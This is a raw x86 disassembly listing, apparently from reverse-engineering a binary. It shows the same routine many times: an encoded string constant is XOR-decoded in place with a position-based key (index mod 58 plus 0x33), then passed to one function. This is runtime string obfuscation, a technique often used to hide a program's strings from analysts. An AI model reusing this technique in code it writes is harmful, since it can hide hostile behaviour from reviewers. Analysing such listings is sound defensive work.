xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x407ee1
mov dword [esp + 0x3c], edx
cmp edx, 0x17
jge 0x408004
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x17
jl 0x407fd0
lea ecx, [esp + 0x10]
call fcn.00405b30
movq xmm0, qword [0x40da14]
xor edx, edx
mov al, byte [0x40da1c]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x48], al
mov dword [esp + 0x38], edx
nop word [eax + eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 9
jl 0x408030
lea ecx, [esp + 0x40]
call fcn.00405b30
mov eax, dword [0x40db20]
xor edx, edx
mov dword [esp + 0x20], eax
mov al, byte [0x40db24]
mov byte [esp + 0x24], al
mov dword [esp + 0x3c], edx
movups xmm0, xmmword [str.zYXCYQMC]
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x4081a5
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x4080c0
mov dword [esp + 0x3c], edx
cmp edx, 0x15
jge 0x4081e4
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x15
jl 0x4081b0
lea ecx, [esp + 0x10]
call fcn.00405b30
mov ax, word [0x40dafc]
xor edx, edx
movq xmm0, qword [0x40daf4]
mov word [esp + 0x48], ax
mov al, byte [0x40dafe]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x408215
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40da53], 0
movq xmm0, qword [0x40da48]
mov eax, dword [str.DX_XYOSZ]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x4083a4
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408370
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40da48]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x408370
lea ecx, [esp + 0x40]
call fcn.00405b30
movups xmm0, xmmword [0x40d8e4]
mov al, byte [0x40d8f4]
xor edx, edx
mov byte [esp + 0x20], al
mov dword [esp + 0x3c], edx
movups xmmword [esp + 0x10], xmm0
cmp esi, 2
jl 0x4084e5
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x408400
mov dword [esp + 0x3c], edx
cmp edx, 0x11
jge 0x408524
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x11
jl 0x4084f0
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40d879], 0
movups xmm0, xmmword [str.Y_PTX_ZUUHOQSn_:D]
mov ax, word [0x40d878]
mov word [esp + 0x20], ax
movups xmmword [esp + 0x10], xmm0
je 0x4086b4
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408675
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x408590
mov dword [esp + 0x3c], edx
cmp edx, 0x12
jge 0x4086b4
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x12
jl 0x408680
lea ecx, [esp + 0x10]
call fcn.00405b30
mov ax, word [0x40d944]
xor edx, edx
movq xmm0, qword [str.D__RU_]
mov word [esp + 0x48], ax
mov al, byte [0x40d946]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x4086e5
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d891], 0
mov eax, dword [str.tj___H]
movups xmm0, xmmword [str._afvVXVBFXLl4_]
mov dword [esp + 0x20], eax
mov ax, word [0x40d890]
movups xmmword [esp + 0x10], xmm0
mov word [esp + 0x24], ax
je 0x4088a4
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408865
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x408780
mov dword [esp + 0x3c], edx
cmp edx, 0x16
jge 0x4088a4
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x16
jl 0x408870
lea ecx, [esp + 0x10]
call fcn.00405b30
mov ax, word [0x40d9c8]
xor edx, edx
movq xmm0, qword [0x40d9c0]
mov word [esp + 0x48], ax
mov al, byte [0x40d9ca]
movq qword [esp + 0x40], xmm0
mov byte [esp + 0x4a], al
mov dword [esp + 0x38], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [esp + 0x38]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0xb
jl 0x4088d5
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d8ff], 0
mov ecx, dword [0x40d8f8]
mov edi, dword [str.R_:U_QR__K]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], edi
je 0x408a57
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408a1e
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, edi
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
cmp edx, 8
jae 0x408a57
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 8
jl 0x408a23
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d96b], 0
movq xmm0, qword [str.XYOsZ]
mov eax, dword [str.DX_aQFYBJZ_s_UZ2o__E]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x408bb4
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408b80
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str.XYOsZ]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x408b80
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d8b5], 0
mov eax, dword [0x40d8b0]
movq xmm0, qword [0x40d8a8]
mov dword [esp + 0x48], eax
mov ax, word [0x40d8b4]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x4c], ax
je 0x408d24
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408cf0
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40d8a8]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xe
jl 0x408cf0
lea ecx, [esp + 0x40]
call fcn.00405b30
cmp byte [0x40d98d], 0
mov eax, dword [0x40d988]
movq xmm0, qword [str.XYOsZ_f]
mov dword [esp + 0x48], eax
mov ax, word [0x40d98c]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x4c], ax
je 0x408e94
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408e60
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [str.XYOsZ_f]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xe
jl 0x408e60
lea ecx, [esp + 0x40]
call fcn.00405b30
movups xmm0, xmmword [str.Q__WEAWSUV_]
movups xmmword [esp + 0x10], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x409024
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x408fe5
movaps xmm0, xmmword [0x40ddf0]
movaps xmm3, xmmword [0x40dd70]
movaps xmm4, xmmword [0x40de10]
movaps xmm5, xmmword [0x40ddc0]
movaps xmm6, xmmword [0x40ddb0]
movaps xmmword [esp + 0x40], xmm0
mov ecx, dword [esp + 0x40]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x10]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x10], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm3
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x14]
xorps xmm2, xmm0
movd dword [esp + edx + 0x14], xmm2
add edx, 8
cmp edx, 0x10
jl 0x408f00
mov dword [esp + 0x3c], edx
cmp edx, 0x10
jge 0x409024
nop word [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x10], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0x10
jl 0x408ff0
lea ecx, [esp + 0x10]
call fcn.00405b30
cmp byte [0x40d9ef], 0
movq xmm0, qword [0x40d9e4]
mov eax, dword [str.DX_CQGPZWW]
movq qword [esp + 0x40], xmm0
mov dword [esp + 0x48], eax
je 0x409184
xor edx, edx
mov dword [esp + 0x3c], edx
cmp esi, 2
jl 0x409150
movaps xmm2, xmmword [0x40dd70]
mov edx, 8
movaps xmm3, xmmword [0x40de10]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
mov eax, dword [0x40ddf0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov dword [esp + 0x3c], edx
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [0x40d9e4]
xorps xmm2, xmm0
movd dword [esp + 0x40], xmm2
movaps xmm2, xmmword [0x40dd80]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x40ddb0]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x40ddc0]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + 0x44]
xorps xmm2, xmm0
movd dword [esp + 0x44], xmm2
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [esp + 0x3c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x3c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 0xc
jl 0x409150
lea ecx, [esp + 0x40]
call fcn.00405b30
